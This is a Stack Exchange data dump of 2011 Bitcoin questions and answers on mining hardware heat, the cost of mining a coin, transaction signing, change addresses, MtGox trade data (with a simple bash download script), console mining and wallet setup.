  <row Id="1616" PostTypeId="2" ParentId="1613" CreationDate="2011-10-17T23:57:47.723" Score="1" Body="&lt;p&gt;If there is a bot running a lot of transactions on the system, one could find it out by analysing all the transactions and looking for some emerging patterns. This, however, is very difficult. One interesting example I can think of that is related to that is a &lt;a href=&quot;http://www.nakedcapitalism.com/2011/07/how-algorithms-shape-our-world.html&quot; rel=&quot;nofollow&quot;&gt;TED talk about the stock exchange&lt;/a&gt; (I recommend seeing it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sure way to stop that would be to disable bot operations on the exchanges, but that might do more damage than the bot. Alternatively, one could make a second bot to counter the first one and hopefully bankrupt it, but that would also be bad. Probably the best thing one can do is not trade on websites that are botted and organically shift the business to exchanges that are not facilitating automatic transactions. But as that isn't too likely to happen, things will probably stay this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it was mentioned in the other answer - having a bot on the exchange is not a bad thing in itself.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-17T23:57:47.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1617" PostTypeId="2" ParentId="1612" CreationDate="2011-10-18T00:17:56.153" Score="7" Body="&lt;p&gt;Controlling the computer's temperature is really important. Excessive heat may cause hardware damage and constant crashes. High end cards tend to consume more power and produce more heat, but any system can overheat if not properly ventilated. iMac's are known for their terrible airflow and there are &lt;a href=&quot;https://bitcointalk.org/index.php?topic=13211.0&quot;&gt;reports&lt;/a&gt; of people running into problems by mining on them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should install a program to control your fan's speed and monitor your GPU temperature. The miner software also has configurable parameters to reduce the GPU load. In your case, consult the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=6458.0&quot;&gt;Phoenix thread&lt;/a&gt; and choose the appropriate aggression level (try a few different values and check the temperatures/hash rate).&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-10-18T12:01:49.310" LastActivityDate="2011-10-18T12:01:49.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1618" PostTypeId="2" ParentId="1606" CreationDate="2011-10-18T01:10:21.520" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1606/world-wide-price-for-generating-1btc/1609#1609&quot;&gt;Meni Rosenfeld's formula&lt;/a&gt; is what you are you are looking for. It is not possible to calculate the production cost of one bitcoin because of these two variables:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;E - the mining efficiency, measured in MHash/J. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;c - the cost of electricity, measured in $/KWh.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is a broad range of hardware which is not limited to GPUs - some people are mining with FPGAs for example - so you can't easily calculate the mining efficiency. The same happens with the cost of electricity because there are different prices for each country, hour of the day, residential/industrial systems, etc. And there are other factors such as the temperature (which reduces cooling costs) and alternative electricity sources (some people could be using solar panels for example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, you could grab the formula, find the &lt;a href=&quot;http://www.theoildrum.com/node/7215&quot; rel=&quot;nofollow noreferrer&quot;&gt;average electricity price per country&lt;/a&gt;, estimate an average mining efficiency (maybe based on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;hardware wiki list&lt;/a&gt;) and reach a number, but it would be very inaccurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a script with a few examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B = 50&#xA;D = 1500000&#xA;Cost: $0.536992840095   E = 2 c = 0.03&#xA;Cost: $2.14797136038    E = 2 c = 0.12&#xA;Cost: $3.75894988067    E = 2 c = 0.21&#xA;Cost: $0.894988066826   E = 1.2 c = 0.03&#xA;Cost: $3.5799522673     E = 1.2 c = 0.12&#xA;Cost: $6.26491646778    E = 1.2 c = 0.21&#xA;Cost: $3.5799522673     E = 0.3 c = 0.03&#xA;Cost: $14.3198090692    E = 0.3 c = 0.12&#xA;Cost: $25.0596658711    E = 0.3 c = 0.21&#xA;&#xA;Cost: $0.171837708831   E = 25 c = 0.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I chose 3 values for mining efficiency in Mhash/J: 2, 1.2 and 0.3 (the greater the better) and 3 values for electricity cost in USD: 0.03, 0.12, 0.21 (the smaller the better).&lt;br&gt;&#xA;Some boards, such as the 5850, have higher efficiency but we have to consider the system as a whole so 2 is still a high value. The average price of electricity per country can be found &lt;a href=&quot;http://www.theoildrum.com/node/7215&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, but I am going to list a few examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;High electricity price - Ireland, Italy, Japan &lt;/li&gt;&#xA;&lt;li&gt;Medium electricity price - US, France, Poland&lt;/li&gt;&#xA;&lt;li&gt;Low electricity price - Mexico, Taiwan, Kazakhstan&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using GPUs, the value ranges from $0.5 to $25 so it's not a small interval. The last line corresponds to the price of one bitcoin produced by an FPGA with electricity cost at $0.12 per KW/h: $0.17.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-10-18T02:16:46.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1619" PostTypeId="1" CreationDate="2011-10-18T02:51:53.757" Score="6" ViewCount="1823" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1495/is-there-a-way-to-automatically-send-bitcoins-from-one-wallet-to-another&quot;&gt;this question&lt;/a&gt;, there isn't an easy way to automatically send bitcoins from one address to another and I think that it might be useful.&lt;br&gt;&#xA;So I thought about creating a website were people could upload their wallets and choose a destination address where the coins would be sent to. A bitcoin daemon would be constantly checking the balance and forwarding any received transactions. But then I was confronted with the problem of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/517/how-can-a-single-person-operation-keep-a-collection-of-online-wallets-secure&quot;&gt;securing a collection of online wallets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a transaction occurs, what part of the message is signed by the owner? Since the destination address is always the same, is it possible to send the bitcoins without storing the private keys on the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the whole transaction is signed (which means that I need the key because the input is unpredictable), but I don't know much about this so I might be missing something here.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-02-06T19:37:28.970" Title="Is it possible to forward bitcoins without the private keys?" Tags="|transactions|cryptography|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1620" PostTypeId="2" ParentId="1619" CreationDate="2011-10-18T03:06:31.747" Score="10" Body="&lt;p&gt;Short answer: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: to 'forward' coins one needs to spend them out of the first receiving address, and to the next one. in order to spend them, one needs to sign a transaction using the private key associated with the first receiving address.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-18T03:06:31.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1621" PostTypeId="1" CreationDate="2011-10-18T03:25:06.200" Score="19" ViewCount="3901" Body="&lt;p&gt;Has anyone stored the historical market depth &amp;amp; tick data from MtGox? Is it available publically? Would be useful if you were making a bot.&lt;/p&gt;&#xA;" OwnerUserId="186" LastEditorUserId="516" LastEditDate="2012-08-17T04:43:40.347" LastActivityDate="2014-04-20T14:54:54.093" Title="Is there a historical timeseries of market depth &amp; transactions available?" Tags="|mtgox|trading|raw-data|market-depth|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1622" PostTypeId="2" ParentId="1621" CreationDate="2011-10-18T03:52:55.780" Score="12" Body="&lt;p&gt;Current market depth available at &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mtgox.com/api/0/data/getDepth.php?Currency=USD&quot;&gt;https://mtgox.com/api/0/data/getDepth.php?Currency=USD&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All trades which happened in the last 24 hours available at&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mtgox.com/code/data/getTrades.php&quot;&gt;https://mtgox.com/code/data/getTrades.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Retrieves 100 trades that happend after specified transaction&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mtgox.com/code/data/getTrades.php?since=&quot;&gt;https://mtgox.com/code/data/getTrades.php?since=&lt;/a&gt;&quot;transaction tid&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A script is required to retrive all historical data, like the one &lt;a href=&quot;https://bitcointalk.org/index.php?topic=39402.0&quot;&gt;posted by mizerydearia&lt;/a&gt;. The idea is to cycle download request while incrementing &quot;transaction tid&quot; aka &quot;lasttrade&quot; to download all data in steps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;outputfile=data&#xA;lasttrade=0&#xA;while test -n &quot;$lasttrade&quot;;do&#xA;    wget --quiet https://mtgox.com/code/data/getTrades.php?since=$lasttrade&#xA;    if test &quot;`cat getTrades.php\?since\=$lasttrade`&quot; != &quot;[]&quot;;then&#xA;        cat getTrades.php\?since\=* &amp;gt;&amp;gt; $outputfile;&#xA;        echo &amp;gt;&amp;gt; $outputfile;&#xA;        lasttrade=`cat getTrades.php\?since\=$lasttrade|sed &quot;s/,/\n/g&quot;|grep tid|tail -n 1|cut -d &quot;:&quot; -f 2|cut -d &quot;\&quot;&quot; -f 2`;&#xA;        lasttradets=`cat getTrades.php\?since\=*|sed &quot;s/,/\n/g&quot;|grep date|tail -n 1|cut -d &quot;:&quot; -f 2`;&#xA;        echo &quot;$(date -d @$lasttradets)  tid $lasttrade&quot;&#xA;    else&#xA;        echo Finished&#xA;    fi&#xA;    rm getTrades.php\?since\=*;&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API&quot;&gt;MtGox - API&lt;/a&gt; for more http API calls.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-20T20:21:54.670" LastActivityDate="2011-10-20T20:21:54.670" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1623" PostTypeId="2" ParentId="1613" CreationDate="2011-10-18T05:14:56.260" Score="8" Body="&lt;p&gt;I've heard this mentioned so many times by so many different people- but the only real cause is supply and demand.  If a &quot;bot&quot;, or &quot;manipulator&quot;, or whoever you want to call it, was selling off so many coins that it has the effect of lowering the price... then there is not enough demand to satisfy the supply, and so the price drops.&lt;/p&gt;&#xA;" OwnerUserId="585" LastActivityDate="2011-10-18T05:14:56.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1624" PostTypeId="1" AcceptedAnswerId="1627" CreationDate="2011-10-18T10:40:38.163" Score="16" ViewCount="37665" Body="&lt;p&gt;I'm very new to the concept of Bitcoin (having only just read the wikipedia entry and visited bitcoin.org)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this: why is the mining platform limited to PC/ traditional computing devices? It seems that gaming platforms would also work quite well, having better performance specs than the general user would reasonably have on his/her home PC and they have networking capabilities.&lt;/p&gt;&#xA;" OwnerUserId="588" LastEditorUserId="5406" LastEditDate="2016-02-15T17:56:19.897" LastActivityDate="2018-09-06T05:12:01.107" Title="Can gaming consoles be used as a Bitcoin mining platform?" Tags="|mining-hardware|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1625" PostTypeId="2" ParentId="1624" CreationDate="2011-10-18T11:35:59.933" Score="1" Body="&lt;p&gt;For now the platform is limited to whatever platform someone can run a miner on. For now, it is mostly PCs, but some people also mine on an &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9047.0&quot; rel=&quot;nofollow&quot;&gt;FPGA board&lt;/a&gt;. Although some people &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9489.0&quot; rel=&quot;nofollow&quot;&gt;looked at the specs of xbox&lt;/a&gt;, and they are pretty weak, similarly to PS3. Equivalent hardware was listed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9489.msg137203#msg137203&quot; rel=&quot;nofollow&quot;&gt;in the same topic&lt;/a&gt;, and you can see how they perform on &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;the extensive wiki list of mining hardware&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, whereas it is possible to mine on anything that can perform some basic computations, some machines are better than others. And with the &lt;a href=&quot;http://tvori.info/bitcoin/charts/&quot; rel=&quot;nofollow&quot;&gt;profitability of mining&lt;/a&gt; being quite low, you wouldn't &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;break even&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-18T11:35:59.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1626" PostTypeId="2" ParentId="1612" CreationDate="2011-10-18T12:37:44.853" Score="10" Body="&lt;p&gt;&lt;strong&gt;It is heat that kills.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You need sufficient airflow and good case design to keep the GPU and VRM (voltage regulators) cool.  Most commercial workstations have insufficent airflow.  Likely it has one or two small intake and one small outtake fans.  Sufficient airflow generally requires much larger fans and more open case design.  Things like cases which mount powersupply upside down (so it exausts hot air outside the case), large diameter case fan mounts, and side panel cooling is especially useful in getting enough cool air into the case and hot air out of it.  &amp;quot;Reference&amp;quot; card designs (more below) also help with proper airflow.&lt;/p&gt;&#xA;&lt;p&gt;You need a utility to monnitor your temps.  Be sure to use a utility like &amp;quot;GPU-Z&amp;quot; which provides VRM temps.  The VRM control voltage supply to GPU and memory and under load get very hot.  With insufficient cooling they can exceed 100C which reuduce their lifespan.&lt;/p&gt;&#xA;&lt;p&gt;You need to also check the other temps in your case.  While you aren't stressing the CPU and motherboard if the case design isn't properly exuasting the hot air outside the case the ambient temp around CPU and motherboard will rise making cooling less efficient and could lead to damage to those components.  CPU are far more suspetible to instability at high temp than a GPU.  While 90C can be considered a high temp for GPU a CPU temp should generally be kept below 70C for long term stability.&lt;/p&gt;&#xA;&lt;p&gt;Unrelated to heat an poorly built powersupply may be insufficient to handle the high 24/7 load but any premature failure is more a manufacturing defect (promising more than it can deliver) than an issue with mining.  Some lower quality manufacturers bet on the fact that most computers aren't run at 100% load 24/7 and users buy larger powersupplies than needed and use that to cut corners.  Mining can be brutal on a powersupply.  It will be pushed ot high % of it's peak power and the load will be continual with no breaks.  Cheaper built powersupplies just can't handle that abuse.  Stick to major brands with good reviews and solid warranties.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;About AMD &amp;quot;reference designs&amp;quot;:&lt;/strong&gt;&#xA;These cards are usually the first design released by AMD and are designed to handle high load with multiple cards in a single case.  They tend to be more expensive to build so card companies are always look for ways to cut cost as more users with single card don't need that level of overengineering.  The reference design is visually very easy to identify as it will have a single squirrel cage fan near the interior end of the card, a closed heat shroud, and a vent which exhausts hot air outside the case.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gcOyx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gcOyx.jpg&quot; alt=&quot;Examples of reference video cards&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://media.bestofmicro.com/radeon-hd-5970,Q-G-230344-13.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;bestofmicro.com&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2019-02-22T04:52:56.020" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1627" PostTypeId="2" ParentId="1624" CreationDate="2011-10-18T13:16:51.247" Score="20" Body="&lt;p&gt;When CPU mining was common gaming consoles did provide comparable performance.  There was some development work for xbox360 and PS3.  However roughly a year ago GPU mining hit bitcoin network rendering CPU miners obsolete almost overnight. Using unified shaders in modern GPUs and OpenCL programming language GPU miners could operate in parallel working on many hashes simultaneously.  Even the earliest crudest implementations vastly outperformed any CPU in terms of raw hashing power, hashing power per dollar, and hashing power per watt.  Since then refinement of OpenCL kernels have only widened that performance differential.  &lt;strong&gt;Currently there is no economic value in using CPU for mining Bitcoins.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the emergence of GPU mining there are a couple issues that make mining with current gaming consoles futile.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Marketing aside gaming consoles are not that powerful.  Today a $69 AMD graphic card has more computing power than either the Xbox 360 or PS3.  Moore's law is a powerful force and gaming consoles which were start of the art in 2005 are pitifully weak compared to hardware available today.&lt;/li&gt;&#xA;&lt;li&gt;As already discussed CPU mining is futile and unprofitable&lt;/li&gt;&#xA;&lt;li&gt;The GPU in both consoles while powerful at one time are rather lackluster by todays standards.  They could provide low end hashing power except they lack unified shaders which makes programming them to do hashing impossible.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Consoles are not upgradable and that is both a benefit and detriment.  Right now we are at the tail end of ther current consoles lifecycle and it works against using consoles for computing power.  Since they can't be upgraded they are essentially $600 computers based on hardware available in 2005.  However at the begining of a console life cycle the hardware is rather powerful for the price point and they are routinely subsidized. At launch a $400 xbox 360 contained about $500 worth of hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question there is no benefit to mining on current gen consoles, however it may be possible that &quot;next-gen&quot; console would be viable hasing platforms at least for the first couple years (before their static hardware fall behind due to the continually effect of Moore's law).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are some requirements for a future console to be a viable hashing platform:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Console has a GPU with unified shaders and good integer&#xA;performance.&lt;/li&gt;&#xA;&lt;li&gt;The ability to access those shader either through API (Microsoft&#xA;XNA) or hacking/rooting console.&lt;/li&gt;&#xA;&lt;li&gt;Powerful GPU relative to retail cost of the machine.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It remains to be seen if future consoles could be used for hashing but using current generation consoles for hashing is simply not economical.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-18T18:15:00.603" LastActivityDate="2011-10-18T18:15:00.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1628" PostTypeId="2" ParentId="1619" CreationDate="2011-10-18T13:52:52.937" Score="2" Body="&lt;p&gt;There is no concept of &quot;forward&quot;.  Bitcoin only has transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transactions are used to irreversably transfer coins from one address to another.&lt;/strong&gt;  The bitcoin network also has no concept of ownership beyond the holder of the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could transfer coins without the private key there would be no security to Bitcoin network.  People could simply take other users coins at will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you think about it for bitcoin to work each transaction MUST ALWAYS be signed by the private key for that address.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-18T13:52:52.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1629" PostTypeId="1" AcceptedAnswerId="1637" CreationDate="2011-10-18T14:08:28.293" Score="45" ViewCount="16244" Body="&lt;p&gt;For example I have an address (A) with 20 BTC and send 9 BTC to address (B).  Bitcoin will create a &quot;change&quot; portion of the transaction where the remaining 11 BTC goes to address (C).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not send the change back to A?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Initial balance: &#xA;A: 20 BTC &#xA;B: 0 BTC &#xA;C: 0 BTC&#xA;&#xA;Transaction Pair: &#xA;A -&amp;gt; B 9 BTC &#xA;A -&amp;gt; C 11 BTC&#xA;&#xA;End result &#xA;A: 0 BTC &#xA;B: 9 BTC &#xA;C: 11 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why not?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Initial balance:&#xA;A: 20 BTC&#xA;B: 0 BTC&#xA;&#xA;Transaction Pair:&#xA;A -&amp;gt; B 9 BTC&#xA;A -&amp;gt; A 11 BTC&#xA;&#xA;End result&#xA;A: 11 BTC&#xA;B: 9 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-18T14:15:56.457" LastActivityDate="2014-07-25T07:51:23.050" Title="Why does Bitcoin send the &quot;change&quot; to a different address?" Tags="|transactions|protocol|address|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1630" PostTypeId="1" AcceptedAnswerId="1633" CreationDate="2011-10-18T14:27:46.513" Score="5" ViewCount="107" Body="&lt;p&gt;When the client communicates to other clients does it transmit its version?  If so is it only on certain communications (i.e. originated transactions)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this data be captured?  I would be interested to see if it is possible ot determine which versions are in use and hopefully combine that with geo-location data to map the bitcoin network by client node version.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-18T14:37:23.783" Title="Does the client broadcast it's version? Is it possible to determine which version of client are in use?" Tags="|client|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1631" PostTypeId="2" ParentId="1613" CreationDate="2011-10-18T14:30:16.010" Score="1" Body="&lt;p&gt;I think the single biggest event that triggered the downward spiral of the price was the theft of all coins from MyBitcoin.com. Whether it was &quot;Hackers&quot; that took the coins or the site operator himself is as yet unknown, but they were certainly stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MyBitcoin attempted to solve the two main issues of Bitcoin in its current form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - You need to be logged on to the computer containing your wallet if you want to spend your coins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - The time taken for a transaction to &quot;confirm&quot; is much too slow for most types of internet transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MyBitcoin represented a real hope of solving both issues by offering users an online &quot;E-Wallet&quot;, coins from which could be transferred instantly to other MyBitcoin users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the site was taken down it had just under 500'000 Bitcoins in its vaults, more than 5% of all the bitcoins in the world, which at the time was worth around $5m. The thieves got away with the single biggest online theft in history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This had two effects: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Many users lost all confidence in the Bitcoin project. If a site so big and seemingly officail as MyBitcoin could be taken down, what hope is there for anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - The theives had to sell the coins they stole, selling quickly for well under market value and setting off a domino effect which led to a big a price drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I don't think Bitcoin will ever be worth more than $5 again, even $4 seems a bit too much to hope for. With many alternative cryptocoins available with better security, more features and stronger support from developers than Bitcoin, it seems like it has no real future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin will be remembered as the coin that started it all, but another coin will surely take its place soon.&lt;/p&gt;&#xA;" OwnerUserId="589" LastActivityDate="2011-10-18T14:30:16.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1633" PostTypeId="2" ParentId="1630" CreationDate="2011-10-18T14:37:23.783" Score="4" Body="&lt;p&gt;When you connect to the other Bitcoin client, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#version&quot; rel=&quot;nofollow&quot;&gt;first message you send is &quot;version&quot;&lt;/a&gt;, which states your protocol version. Moreover, it states both your IP address, and the addres you are connecting to. You can capture this data like any other &lt;a href=&quot;http://www.nirsoft.net/utils/smsniff.html&quot; rel=&quot;nofollow&quot;&gt;TCP/IP data&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-18T14:37:23.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1634" PostTypeId="2" ParentId="705" CreationDate="2011-10-18T14:41:40.713" Score="0" Body="&lt;p&gt;Because there is only one developer, Gavin Andersen who works part time on Bitcoin as a side project and he has inherited the code from the original developer, who is nowhere to be found.&lt;/p&gt;&#xA;" OwnerUserId="589" LastActivityDate="2011-10-18T14:41:40.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1635" PostTypeId="1" CreationDate="2011-10-18T15:47:49.973" Score="12" ViewCount="943" Body="&lt;p&gt;Never having owned bitcoins I don't know how bitcoin wallets work and I'm wondering: if I buy bitcoins, what will I need to know about the software involved, and where should I keep my bitcoin wallet?  I have a home computer and I have a Google account.  Can the latter be used?  What security issues are involved?  If I'm travelling and far from home, how would I have access to my bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="5406" LastEditDate="2014-02-09T10:24:43.290" LastActivityDate="2014-02-09T10:24:43.290" Title="What software and skills do I need?" Tags="|security|installation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1636" PostTypeId="2" ParentId="1635" CreationDate="2011-10-18T16:49:03.320" Score="1" Body="&lt;p&gt;If you set up a mtgox account to buy some bitcoins, you can store them there for the time being. If you want to get setup with a wallet on your desktop, you can follow the instructions at &lt;a href=&quot;https://en.bitcoin.it/wiki/Getting_started&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getting_started&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically entails downloading the client, and running it on your computer. It will create a wallet for you, which stores your account(s), addresses, and bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then tell mtgox to withdraw your bitcoins to your bitcoin address. This sends the bitcoins to your wallet on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for travel, you can keep the bitcoins in an ewallet, mtgox, or even a mobile wallet on your cell phone. &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-10-18T16:49:03.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1637" PostTypeId="2" ParentId="1629" CreationDate="2011-10-18T17:03:42.797" Score="38" Body="&lt;p&gt;Two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;So whoever sent to your &quot;A&quot; address can't claim to have sent you 31 bitcoins (&quot;See!  Look on block explorer, there are two transactions sending to &quot;A&quot;, one for 20 bitcoins and one for 11-- send me back the extra 11!&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a new change address makes it more difficult for other people to track of how many bitcoins you have or where you're spending them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-10-18T17:03:42.797" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1638" PostTypeId="1" AcceptedAnswerId="1647" CreationDate="2011-10-18T17:20:13.537" Score="15" ViewCount="1673" Body="&lt;p&gt;If for some reason many people lose their wallet files then many bitcoins are effectively taken out of circulation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seen as it's not possible to tell as far as i know if bitcoins are actually disabled in this way, so to speak, I'm wondering what are the implications for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thinking of the hypothetical doomsday scenario whereby it's a significant percentage of the economy. Lets say it was enough to significantly reduce the volume on the markets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example a large group of people who hold a great many and live in the same city are subjected to a large EMP. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this effect the value of bitcoin indirectly? &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="5406" LastEditDate="2014-06-17T14:37:26.053" LastActivityDate="2014-06-17T14:37:26.053" Title="What could be the consequences of many bitcoins being lost out of circulation if people lose their wallets?" Tags="|value|shrinking-money-supply|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
